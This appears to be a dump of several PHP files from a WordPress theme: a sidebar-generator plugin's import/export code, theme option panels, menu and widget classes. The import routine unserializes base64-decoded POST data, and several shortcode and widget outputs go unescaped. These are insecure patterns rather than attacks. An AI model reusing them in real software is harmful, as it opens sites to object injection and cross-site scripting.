<span class="smk_sbg_code smk_sbg_code_shortcode"><code>[smk_sidebar id="smk_sidebar_' . $sidebar['id'] . '"]</code></span>
<span class="smk_sbg_remove_sidebar">'. $text[5] .'</span></div>';
}
}
}
echo '</div>';
echo '</form>';
echo '</div>';
//TAB Export
echo '<div id="tab_export" class="smk_sbg_tab additional">';
//Export form
echo '<div class="smk_sbg_label">' . __('Copy text from textarea:','smk_sbg') .'</div>';
echo '<form method="post" action="" class="smk_sbg_export_form">';
echo '<textarea name="exp_data" class="sbg_textarea sbg_textarea_export" onclick="this.focus();this.select()">'. base64_encode( serialize(get_option($this->plugin_option)) ) .'</textarea>';
echo '</form>';
echo '</div>';
//TAB Import
echo '<div id="tab_import" class="smk_sbg_tab additional">';
//Import form
echo '<div class="smk_sbg_label">' . __('Paste exported data in textarea:','smk_sbg') .'</div>';
echo '<form method="post" action="" class="smk_sbg_import_form">';
echo '<textarea name="exp_data" class="sbg_textarea sbg_textarea_import"></textarea>';
echo '<input type="submit" name="submit" id="export_submit" class="button button-primary smk_sbg_import_button" value="'. $text[6] .'">';
echo '</form>';
echo '</div>';
//TAB Import
echo '<div id="tab_how_to" class="smk_sbg_tab additional">';
//Import form
echo '<h2>' . __('How to use?','smk_sbg') .'</h2>';
echo '<h3>' . __('Shortcode:','smk_sbg') .'</h3>';
echo '<p>' . __('Paste the shortcode anywhere you want, in posts, pages etc. If the input accept shortcodes, then the sidebar will be displayed.','smk_sbg') .'</p>';
echo '<pre>[smk_sidebar id="SIDEBAR_ID"]</pre>';
echo '<h3>' . __('Function:','smk_sbg') .'</h3>';
echo '<p>' . __('You can use the built-in function, but for this you should modify theme files and make sure to check if the function exists before use it.','smk_sbg') .'</p>';
echo '<pre>
if(function_exists("smk_sidebar"){
smk_sidebar("SIDEBAR_ID");
}
</pre>';
echo '<h3>' . __('WP Native function:','smk_sbg') .'</h3>';
echo '<p>' . __('You can use the built-in function <em>smk_sidebar</em>, but anyways I recommend using WP native function to avoid conflicts.','smk_sbg') .'</p>';
echo "<pre>
if(function_exists('dynamic_sidebar') && dynamic_sidebar('SIDEBAR_ID')) :
endif;
</pre>";
echo '<h3>' . __('For more info visit the following links:','smk_sbg') .'</h3>';
echo '<div class="sbg_docs_links">';
echo '<a href="http://wordpress.org/plugins/smk-sidebar-generator/" target="_blank">Official Plugin Page</a>';
echo '<a href="https://github.com/Smartik89/Wordpress-Sidebar-Generator" target="_blank">Github Repository</a>';
echo '</div>';
echo '</div>';
// smk_ppprint( get_option($this->plugin_option) );
echo '</div>';
}
public static function get_all_sidebars(){
global $wp_registered_sidebars;
$all_sidebars = array();
if ( $wp_registered_sidebars && ! is_wp_error( $wp_registered_sidebars ) ) {
foreach ( $wp_registered_sidebars as $sidebar ) {
$all_sidebars[ $sidebar['id'] ] = $sidebar['name'];
}
}
return $all_sidebars;
}
public static function import_all_sidebars(){
if(isset( $_POST )){
//delete_option('smk_sidebar_generator_option');
$exported_data = (isset($_POST['content'])) ? trim($_POST['content']) : false;
if( isset($exported_data) && !empty($exported_data) ){
if(is_serialized(base64_decode($exported_data))){
$exported_data = unserialize( base64_decode($exported_data) );
$saved = get_option('smk_sidebar_generator_option');
if( is_array($exported_data) ){
if(is_array($saved) && isset($saved['sidebars'])){
$sidebars['sidebars'] = wp_parse_args($exported_data['sidebars'], $saved['sidebars']);
$new = wp_parse_args($sidebars, $saved);
}
else{
$new = $exported_data;
}
update_option('smk_sidebar_generator_option', $new);
echo 'imported';
}
else{
echo __('Data is not valid.','smk_sbg');
}
}
else{
echo __('Data is not valid.','smk_sbg');
}
}
else{
echo __('Please enter data.','smk_sbg');
}
// print_r($saved);
}
die();
}
}//Class end
}//class_exists check end
/*
----------------------------------------------------------------------
!!! IMPORTANT !!! Init that class
----------------------------------------------------------------------
*/
new SMK_Sidebar_Generator();
/*
----------------------------------------------------------------------
Function
----------------------------------------------------------------------
*/
function smk_sidebar($id){
if(function_exists('dynamic_sidebar') && dynamic_sidebar($id)) :
endif;
return true;
}
if(! function_exists('smk_get_all_sidebars') ) {
function smk_get_all_sidebars(){
global $wp_registered_sidebars;
$all_sidebars = array();
if ( $wp_registered_sidebars && ! is_wp_error( $wp_registered_sidebars ) ) {
foreach ( $wp_registered_sidebars as $sidebar ) {
$all_sidebars[ $sidebar['id'] ] = $sidebar['name'];
}
}
return $all_sidebars;
}
}
/*
----------------------------------------------------------------------
Shortcode
----------------------------------------------------------------------
*/
// [smk_sidebar id="X"] //X is the sidebar ID
function smk_sidebar_shortcode( $atts ) {
extract( shortcode_atts( array(
'id' => null,
), $atts ) );
smk_sidebar($id);
}
add_shortcode( 'smk_sidebar', 'smk_sidebar_shortcode' );<file_sep>/wp-content/themes/TWWF/lib/theme-options/options/admin.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $admin_toolbar;
global $admin_login_bg_color;
global $admin_login_brand;
wp_enqueue_media();
?>
<div class="well">
<div class="row">
<div class="col-md-3 col-sm-5">
<h4>Toolbar</h4>
<p>Hide the toolbar on frontpage.</p>
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>Toolbar</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_toolbar" name="opt_check_toolbar" <?php echo( $admin_toolbar == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_toolbar">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- well end -->
<p> </p>
<div class="well">
<h4>Custom login page</h4>
<div class="row">
<div class="col-sm-3">
<div class="form-group">
<label for="opt_login_bg_color">Background color</label>
<input type="text" class="form-control" id="opt_login_bg_color" name="opt_login_bg_color" value="<?php echo( $admin_login_bg_color ) ? $admin_login_bg_color : '#EEE' ; ?>">
<p class="help-block">help text</p>
</div>
</div><!-- col end -->
<div class="col-sm-5">
<div class="clearfix">
<label>Login Brand <small>image size: 300 x 54</small></label>
</div>
<input type="hidden" id="opt_login_brand" name="opt_login_brand" value="<?php echo $admin_login_brand; ?>"/>
<a href="#" class="btn btn-primary upload_image_button">Login Brand</a>
</div><!-- col end -->
</div><!-- row end -->
</div><!-- well end -->
<file_sep>/wp-content/themes/TWWF/sidebar.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_active_sidebar('sidebar') ){
dynamic_sidebar('sidebar');
}
?><file_sep>/wp-content/themes/TWWF/lib/functions/fdc-framework.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
// Settings
require_once get_template_directory() . '/lib/theme-options/fdc-options.php';
// Header
require_once get_template_directory() . '/lib/functions/fdc-header.php';
// Library
require_once get_template_directory() . '/lib/functions/fdc-menu.php';
// Add Theme Customizer functionality
require_once get_template_directory() . '/lib/customizer/customizer.php';
// Add Third Party Plugins
require_once get_template_directory() . '/lib/plugins/ini.php';
// Widget Positions (register sidebar)
require_once get_template_directory() . '/lib/functions/fdc-widgets.php';
// Admin
require_once get_template_directory() . '/lib/admin/admin.php';
// Numeric Pagination
require_once get_template_directory() . '/lib/functions/fdc-pagination.php';
// Posts Formats
require_once get_template_directory() . '/lib/functions/fdc-postsformats.php';
// Previous and Next posts
require_once get_template_directory() . '/lib/functions/fdc-prevnext.php';
// Visit Counter
require_once get_template_directory() . '/lib/functions/fdc-views-counter.php';
// Required Plugins
require_once get_template_directory() . '/lib/functions/fdc-required-plugins.php';
// Post Templates
require_once get_template_directory() . '/lib/functions/fdc-post-templates.php';
// Gallery additional options
require_once get_template_directory() . '/lib/functions/fdc-gallery-options.php';
// Widgets
require_once get_template_directory() . '/lib/widgets/ini.php';
// Widgets
require_once get_template_directory() . '/lib/panels.php';
function fdc_shortcodes_scripts(){
wp_enqueue_script( 'shortcodes', get_template_directory_uri().'/lib/functions/fdc-framework.js', false, '0.1', true ); // SHORTCODES
}
add_action( 'wp_enqueue_scripts', 'fdc_shortcodes_scripts', 99 );
/*---------------------------------------------------*/
/* LANGUAGE SUPPORT */
/*---------------------------------------------------*/
function fdc_language_support(){
load_theme_textdomain('fdc', get_template_directory() . '/languages');
$locale = get_locale();
$locale_file = get_template_directory() . "/languages/$locale.php";
if ( is_readable($locale_file) ){ require_once($locale_file); }
}
add_action('after_setup_theme', 'fdc_language_support');
/*---------------------------------------------------*/
/* SHOW / HIDE ADMIN BAR */
/*---------------------------------------------------*/
function fdc_remove_admin_bar(){
global $admin_toolbar;
if( $admin_toolbar ){
add_filter( 'show_admin_bar' , '__return_false');
}
}
add_action('init', 'fdc_remove_admin_bar');
/*---------------------------------------------------*/
/* THUMBNAIL SUPPORT */
/*---------------------------------------------------*/
if( function_exists( 'add_theme_support' ) ){
add_theme_support('post-thumbnails');
//add_image_size( 'sidebar-thumb', 120, 120, true );
}
/*---------------------------------------------------*/
/* LAYOUT OPTIONS */
/*---------------------------------------------------*/
function fdc_layout(){
global $responsive;
global $layout;
?>
<style>
<?php
if( $responsive == 0 ):
if( $layout == 'full-width-layout' ):
?>
.container{width:100%; min-width:100%;}
@media (min-width: 768px) {
.container{width:100%;}
}
@media (min-width: 992px) {
.container{width:100%;}
}
@media (min-width: 1200px) {
.container{width:100%;}
}
<?php
endif;
if( $layout == 'boxed-layout' ):
?>
.container{width:1170px; min-width:1170px;}
@media (min-width: 768px) {
.container{width:1170px;}
}
@media (min-width: 992px) {
.container{width:1170px;}
}
@media (min-width: 1200px) {
.container{width:1170px;}
}
<?php
endif;
?>
.navbar-header{float:left;}
.navbar-toggle{display:none;}
.navbar-nav{float:left; margin:0;}
.navbar-nav > li{float:left;}
<?php
endif;
?>
</style>
<?php
}//fdc_layout()
add_action( 'wp_enqueue_scripts', 'fdc_layout' );
/*---------------------------------------------------*/
/* TINYMCE */
/*---------------------------------------------------*/
/// inline, block, selector, class, styles, attributes, exact, wrapper
/*
function themeit_mce_buttons_2( $buttons ){
array_unshift( $buttons, 'styleselect' );
return $buttons;
}
add_filter( 'mce_buttons_2', 'themeit_mce_buttons_2' );
function themeit_tiny_mce_before_init( $settings ){
$settings['theme_advanced_blockformats'] = 'p,a,div,span,h1,h2,h3,h4,h5,h6,tr';
$style_formats = array(
array(
'title' => 'Button',
'inline' => 'span',
'classes' => 'button'
),
array( 'title' => 'Green Button', 'inline' => 'span', 'classes' => 'button button-green' ),
array( 'title' => 'Rounded Button', 'inline' => 'span', 'classes' => 'button button-rounded' ),
array( 'title' => 'Other Options' ),
array( 'title' => '½ Col.', 'block' => 'div', 'classes' => 'one-half' ),
array( 'title' => '½ Col. Last', 'block' => 'div', 'classes' => 'one-half last' ),
array( 'title' => 'Callout Box', 'block' => 'div', 'classes' => 'callout-box' ),
array( 'title' => 'Highlight', 'inline' => 'span', 'classes' => 'highlight' )
);
$settings['style_formats'] = json_encode( $style_formats );
return $settings;
}
add_filter( 'tiny_mce_before_init', 'themeit_tiny_mce_before_init' );
*/
/*
new Shortcode_Tinymce();
class Shortcode_Tinymce{
public function __construct(){
add_action('admin_init', array($this, 'fdc_shortcode_button'));
add_action('admin_footer', array($this, 'fdc_get_shortcodes'));
}
public function fdc_shortcode_button(){
if( current_user_can('edit_posts') && current_user_can('edit_pages') ){
add_filter( 'mce_external_plugins', array($this, 'fdc_add_buttons' ));
add_filter( 'mce_buttons', array($this, 'fdc_register_buttons' ));
}
}
public function fdc_add_buttons( $plugin_array ){
$plugin_array['pushortcodes'] = get_template_directory_uri() . '/lib/functions/shortcodes-tinymce.js';
return $plugin_array;
}
public function fdc_register_buttons( $buttons ){
array_push( $buttons, 'separator', 'pushortcodes' );
return $buttons;
}
public function fdc_get_shortcodes(){
global $shortcode_tags;
echo '<script type="text/javascript">';
echo 'var shortcodes_button = new Array();';
$count = 0;
foreach($shortcode_tags as $tag => $code){
echo 'var $tag = "'.$tag.'";';
echo "shortcodes_button[{$count}] = '{$tag}';";
$count++;
}
echo '</script>';
}
}
*/
/*---------------------------------------------------*/
/* ANALYTICS */
/*---------------------------------------------------*/
function fdc_analytics(){
global $analytics;
?>
<script><?php echo $analytics; ?></script>
<?php
}//fdc_analytics()
//add_action( 'wp_header', 'fdc_analytics' );
//add_action( 'wp_enqueue_scripts', 'fdc_analytics' );
/*---------------------------------------------------*/
/* SHORTCODES */
/*---------------------------------------------------*/
/// BLOGINFO SHORTCODE
if( $bloginfo_shortcodes ):
function fdc_bloginfo( $atts ){
extract(shortcode_atts(array( 'value' => '', ), $atts));
return get_bloginfo($value);
}
add_shortcode('bloginfo', 'fdc_bloginfo');
endif;
/// Enable shortcodes in text widget
add_filter('widget_text', 'do_shortcode');
/// GOOGLE MAP SHORTCODE
function fdc_gmap( $atts ){
extract(shortcode_atts(
array(
'address' => 'Avenida Corrientes, Buenos Aires, Argentina',
'width' => '100%',
'height' => '300'
), $atts)
);
return '<div class="fdc-gmap" data-address="'. $address .'" style="width:'. $width .'; height:'. $height .'"></div>';
}
add_shortcode('gmap', 'fdc_gmap');
/*---------------------------------------------------*/
/* REMOVE SHORTCODES FROM EXCERPT */
/*---------------------------------------------------*/
function fdc_remove_shortcodes_from_excerpt( $excerpt ) {
return preg_replace ('/\[media-credit[^\]]*\](.*)\[\/media-credit\]/', '$1', $excerpt);
}
add_filter( 'the_excerpt', 'fdc_remove_shortcodes_from_excerpt' );
/*---------------------------------------------------*/
/* UNREGISTER DEFAULT WP WIDGETS */
/*---------------------------------------------------*/
function unregister_default_widgets(){
unregister_widget('WP_Widget_Pages');
unregister_widget('WP_Widget_Calendar');
unregister_widget('WP_Widget_Archives');
unregister_widget('WP_Widget_Links');
unregister_widget('WP_Widget_Meta');
unregister_widget('WP_Widget_Search');
unregister_widget('WP_Widget_Text');
unregister_widget('WP_Widget_Categories');
unregister_widget('WP_Widget_Recent_Posts');
unregister_widget('WP_Widget_Recent_Comments');
unregister_widget('WP_Widget_RSS');
unregister_widget('WP_Widget_Tag_Cloud');
//unregister_widget('WP_Nav_Menu_Widget');
unregister_widget('Twenty_Eleven_Ephemera_Widget');
}
add_action('widgets_init', 'unregister_default_widgets', 11);
<file_sep>/wp-content/themes/TWWF/lib/functions/fdc-menu.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/*---------------------------------------------------*/
/* REGISTER MENU */
/*---------------------------------------------------*/
function fdc_register_nav() {
register_nav_menus(
array(
'main-nav' => 'Primary Navigation',
'second-nav' => 'Secondary Navigation'
)
);
}
add_action( 'init', 'fdc_register_nav' );
//Give .active to current menu item
add_filter('nav_menu_css_class' , 'special_nav_class' , 10 , 2);
function special_nav_class($classes, $item){
if( in_array('current-menu-item', $classes) ){
$classes[] = 'active ';
}
return $classes;
}
function fdc_main_nav() {
global $primary_nav_container_class;
$mainnav = array(
'theme_location' => 'main-nav',
'menu' => '',
'container' => 'div',
'container_class' => $primary_nav_container_class,
'container_id' => '',
'menu_class' => 'nav navbar-nav',
'menu_id' => '',
'echo' => true,
'fallback_cb' => 'wp_page_menu',
'before' => '',
'after' => '',
'link_before' => '',
'link_after' => '',
'items_wrap' => '<ul class="%2$s">%3$s</ul>',
'depth' => 0,
'walker' => ''
//'walker' => new fdc_navbar_walker()
);
wp_nav_menu( $mainnav );
}
function fdc_second_nav() {
global $secondary_nav_container_class;
$secondarynav = array(
'theme_location' => 'second-nav',
'menu' => '',
'container' => 'div',
'container_class' => $secondary_nav_container_class,
'container_id' => '',
'menu_class' => 'nav navbar-nav',
'menu_id' => '',
'echo' => true,
'fallback_cb' => 'wp_page_menu',
'before' => '',
'after' => '',
'link_before' => '',
'link_after' => '',
'items_wrap' => '<ul class="%2$s">%3$s</ul>',
'depth' => 0,
'walker' => ''
);
wp_nav_menu( $secondarynav );
}
class fdc_navbar_walker extends Walker_Nav_Menu{
function start_el(&$output, $item, $depth, $args){
global $wp_query;
$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';
$class_names = $value = '';
$classes = empty( $item->classes ) ? array() : (array) $item->classes;
$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
$class_names = ' class="'. esc_attr( $class_names ) . '"';
$output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>';
$attributes = ! empty( $item->attr_title ) ? ' title="'. esc_attr( $item->attr_title ) .'"' : '';
$attributes .= ! empty( $item->target ) ? ' target="'. esc_attr( $item->target ) .'"' : '';
$attributes .= ! empty( $item->xfn ) ? ' rel="'. esc_attr( $item->xfn ) .'"' : '';
$attributes .= ! empty( $item->url ) ? ' href="'. esc_attr( $item->url ) .'"' : '';
$prepend = '';
$append = '';
$description = ! empty( $item->description ) ? '<span>'.esc_attr( $item->description ).'</span>' : '';
if($depth != 0){
$description = $append = $prepend = "";
}
$item_output = $args->before;
$item_output .= '<a'. $attributes .'>';
$item_output .= $args->link_before .$prepend.apply_filters( 'the_title', $item->title, $item->ID ).$append;
$item_output .= $description.$args->link_after;
$item_output .= '</a>';
$item_output .= $args->after;
$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
}
}
/**
* Proof of concept for how to add new fields to nav_menu_item posts in the WordPress menu editor.
* @author <NAME> (@westonruter), X-Team
*/
//add_action( 'init', array( 'XTeam_Nav_Menu_Item_Custom_Fields', 'setup' ) );
class XTeam_Nav_Menu_Item_Custom_Fields{
static $options = array(
'item_tpl' => '
<p class="additional-menu-field-{name} description description-thin">
<label for="edit-menu-item-{name}-{id}">
{label}<br>
<input
type="{input_type}"
id="edit-menu-item-{name}-{id}"
class="widefat code edit-menu-item-{name}"
name="menu-item-{name}[{id}]"
value="{value}">
</label>
</p>',
);
static function setup(){
self::$options['fields'] = array(
/*
'color' => array(
'name' => 'color',
'label' => 'Color',
'container_class' => 'link-color',
'input_type' => 'color',
),
*/
'data' => array(
'name' => 'data_test',
'label' => 'Data Test',
'container_class' => 'data_test',
'input_type' => 'text',
),
);
add_filter( 'wp_edit_nav_menu_walker', function(){
return 'XTeam_Walker_Nav_Menu_Edit';
});
add_filter( 'xteam_nav_menu_item_additional_fields', array( __CLASS__, '_add_fields' ), 10, 5 );
add_action( 'save_post', array( __CLASS__, '_save_post' ) );
}
static function get_fields_schema(){
$schema = array();
foreach(self::$options['fields'] as $name => $field){
if( empty($field['name']) ){
$field['name'] = $name;
}
$schema[] = $field;
}
return $schema;
}
static function get_menu_item_postmeta_key($name){
return '_menu_item_' . $name;
}
/**
* Inject the
* @hook {action} save_post
*/
static function _add_fields($new_fields, $item_output, $item, $depth, $args){
$schema = self::get_fields_schema($item->ID);
foreach($schema as $field){
$field['value'] = get_post_meta($item->ID, self::get_menu_item_postmeta_key($field['name']), true);
$field['id'] = $item->ID;
$new_fields .= str_replace(
array_map(function($key){ return '{' . $key . '}'; }, array_keys($field)),
array_values(array_map('esc_attr', $field)),
self::$options['item_tpl']
);
}
return $new_fields;
}
/**
* Save the newly submitted fields
* @hook {action} save_post
*/
static function _save_post($post_id){
if( get_post_type($post_id) !== 'nav_menu_item' ){
return;
}
$fields_schema = self::get_fields_schema($post_id);
foreach( $fields_schema as $field_schema ){
$form_field_name = 'menu-item-' . $field_schema['name'];
if( isset($_POST[$form_field_name][$post_id]) ){
$key = self::get_menu_item_postmeta_key($field_schema['name']);
$value = stripslashes($_POST[$form_field_name][$post_id]);
update_post_meta($post_id, $key, $value);
}
}
}
}
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
// Uncomment this to enable custom fields... (work in progress...)
/*
class XTeam_Walker_Nav_Menu_Edit extends Walker_Nav_Menu_Edit{
function start_el(&$output, $item, $depth, $args){
//echo $item;
$item_output = '';
parent::start_el($item_output, $item, $depth, $args);
$new_fields = apply_filters( 'xteam_nav_menu_item_additional_fields', '', $item_output, $item, $depth, $args );
// Inject $new_fields before: <div class="menu-item-actions description-wide submitbox">
if( $new_fields ){
$item_output = preg_replace('/(?=<div[^>]+class="[^"]*submitbox)/', $new_fields, $item_output);
}
$output .= $item_output;
}
}
*/
<file_sep>/wp-content/themes/TWWF/widgets/widget-social.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action( 'widgets_init', 'twwf_widget_social' ); // function to load my widget
// function to register my widget
function twwf_widget_social(){
register_widget( 'twwf_widget_social' );
}
class twwf_widget_social extends WP_Widget{
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
function __construct(){
$widget_ops = array(
'classname' => 'twwf_widget_social',
'description' => __('Show a list of social links')
);
$this->WP_Widget( 'twwf-widget-social', __('TWWF Social Links'), $widget_ops );
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget($args, $instance){
extract( $args );
echo $before_widget;
if( $title )
echo $before_title . $title . $after_title;
$twitter = apply_filters('twitter', empty($instance['twitter']) ? '' : $instance['twitter'], $instance, $this->id_base);
$facebook = apply_filters('facebook', empty($instance['facebook']) ? '' : $instance['facebook'], $instance, $this->id_base);
$linkedin = apply_filters('linkedin', empty($instance['linkedin']) ? '' : $instance['linkedin'], $instance, $this->id_base);
$tumblr = apply_filters('tumblr', empty($instance['tumblr']) ? '' : $instance['tumblr'], $instance, $this->id_base);
$youtube = apply_filters('youtube', empty($instance['youtube']) ? '' : $instance['youtube'], $instance, $this->id_base);
$vimeo = apply_filters('vimeo', empty($instance['vimeo']) ? '' : $instance['vimeo'], $instance, $this->id_base);
$rss = apply_filters('rss', empty($instance['rss']) ? '' : $instance['rss'], $instance, $this->id_base);
if( $twitter || $facebook || $linkedin || $tumblr || $youtube || $vimeo || $rss ):
echo '<div class="social widget-social">';
if( $twitter )
echo '<a href="'. $twitter .'" target="_blank"><span class="fa fa-twitter"></span></a>';
if( $facebook )
echo '<a href="'. $facebook .'" target="_blank"><span class="fa fa-facebook"></span></a>';
if( $linkedin )
echo '<a href="'. $linkedin .'" target="_blank"><span class="fa fa-linkedin"></span></a>';
if( $tumblr )
echo '<a href="'. $tumblr .'" target="_blank"><span class="fa fa-tumblr"></span></a>';
if( $youtube )
echo '<a href="'. $youtube .'" target="_blank"><span class="fa fa-youtube"></span></a>';
if( $vimeo )
echo '<a href="'. $vimeo .'" target="_blank"><span class="fa fa-vimeo-square"></span></a>';
if( $rss )
echo '<a href="'. get_bloginfo('rss2_url') .'" target="_blank"><span class="fa fa-rss"></span></a>';
echo '</div>';//social
endif;
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['twitter'] = $new_instance['twitter'];
$instance['facebook'] = $new_instance['facebook'];
$instance['linkedin'] = $new_instance['linkedin'];
$instance['tumblr'] = $new_instance['tumblr'];
$instance['youtube'] = $new_instance['youtube'];
$instance['vimeo'] = $new_instance['vimeo'];
$instance['rss'] = $new_instance['rss'];
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ){
$twitter = isset($instance['twitter']) ? esc_attr($instance['twitter']) : '';
$facebook = isset($instance['facebook']) ? esc_attr($instance['facebook']) : '';
$linkedin = isset($instance['linkedin']) ? esc_attr($instance['linkedin']) : '';
$tumblr = isset($instance['tumblr']) ? esc_attr($instance['tumblr']) : '';
$youtube = isset($instance['youtube']) ? esc_attr($instance['youtube']) : '';
$vimeo = isset($instance['vimeo']) ? esc_attr($instance['vimeo']) : '';
$rss = isset($instance['rss']) ? esc_attr($instance['rss']) : '';
?>
<p>Fill a field to show the link icon or leave it blank to hide.</p>
<p>
<label for="<?php echo $this->get_field_id('twitter'); ?>">Twitter:</label>
<input class="widefat" placeholder="http://twitter.com" id="<?php echo $this->get_field_id('twitter'); ?>" name="<?php echo $this->get_field_name('twitter'); ?>" type="text" value="<?php echo $twitter; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('facebook'); ?>">Facebook:</label>
<input class="widefat" placeholder="http://facebook.com" id="<?php echo $this->get_field_id('facebook'); ?>" name="<?php echo $this->get_field_name('facebook'); ?>" type="text" value="<?php echo $facebook; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('linkedin'); ?>">Linked In:</label>
<input class="widefat" placeholder="http://linkedin.com" id="<?php echo $this->get_field_id('linkedin'); ?>" name="<?php echo $this->get_field_name('linkedin'); ?>" type="text" value="<?php echo $linkedin; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('tumblr'); ?>">tumblr:</label>
<input class="widefat" placeholder="http://tumblr.com" id="<?php echo $this->get_field_id('tumblr'); ?>" name="<?php echo $this->get_field_name('tumblr'); ?>" type="text" value="<?php echo $tumblr; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('youtube'); ?>">YouTube:</label>
<input class="widefat" placeholder="http://youtube.com" id="<?php echo $this->get_field_id('youtube'); ?>" name="<?php echo $this->get_field_name('youtube'); ?>" type="text" value="<?php echo $youtube; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('vimeo'); ?>">Vimeo:</label>
<input class="widefat" placeholder="http://vimeo.com" id="<?php echo $this->get_field_id('vimeo'); ?>" name="<?php echo $this->get_field_name('vimeo'); ?>" type="text" value="<?php echo $vimeo; ?>" />
</p>
<p>
<label>RSS:</label><br/>
<label for="<?php echo $this->get_field_id('rss').'-show'; ?>">
Show
<input class="widefat" id="<?php echo $this->get_field_id('rss').'-show'; ?>" name="<?php echo $this->get_field_name('rss'); ?>" type="radio" value="show" checked/>
</label>
<label for="<?php echo $this->get_field_id('rss').'-show'; ?>">
Hide
<input class="widefat" id="<?php echo $this->get_field_id('rss').'-hide'; ?>" name="<?php echo $this->get_field_name('rss'); ?>" type="radio" value="hide" />
</label>
</p>
<?php
}
}
?>
<file_sep>/wp-content/themes/TWWF/lib/theme-options/options/plugins.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $plugin_acf;
global $plugin_cpt;
global $plugin_adminimize;
global $plugin_better_wp_security;
global $plugin_wp_smushit;
global $plugin_user_avatar;
global $plugin_fdc_fb_likebox;
global $plugin_display_widgets;
global $plugin_bootstrap_shortcodes;
global $plugin_mega_menu;
?>
<div class="row">
<div class="col-sm-3 text-center">
<span>Advanced Custom Fields (ACF)</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_acf" name="opt_check_acf" <?php echo( $plugin_acf == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_acf">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>Custom Post Type UI</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_cpt" name="opt_check_cpt" <?php echo( $plugin_cpt == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_cpt">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>MegaMenu</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_megamenu" name="opt_check_megamenu" <?php echo( $plugin_mega_menu == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_megamenu">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>Bootstrap Shortcodes</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_bootstrap_shortcodes" name="opt_check_bootstrap_shortcodes" <?php echo( $plugin_bootstrap_shortcodes == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_bootstrap_shortcodes">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
</div><!-- row end -->
<div class="row">
<div class="col-sm-3 text-center">
<span>Display Widgets</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_display_widgets" name="opt_check_display_widgets" <?php echo( $plugin_display_widgets == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_display_widgets">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>WP Smush.it</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_smushit" name="opt_check_smushit" <?php echo( $plugin_wp_smushit == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_smushit">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>FDC Likebox</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_fdc_likebox" name="opt_check_fdc_likebox" <?php echo( $plugin_fdc_fb_likebox == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_fdc_likebox">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>User Avatar</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_user_avatar" name="opt_check_user_avatar" <?php echo( $plugin_user_avatar == 1 ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_user_avatar">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
</div><!-- row end -->
<div class="row">
<div class="col-sm-3 text-center">
<span>Adminimize</span>
<div class="onoffswitch">
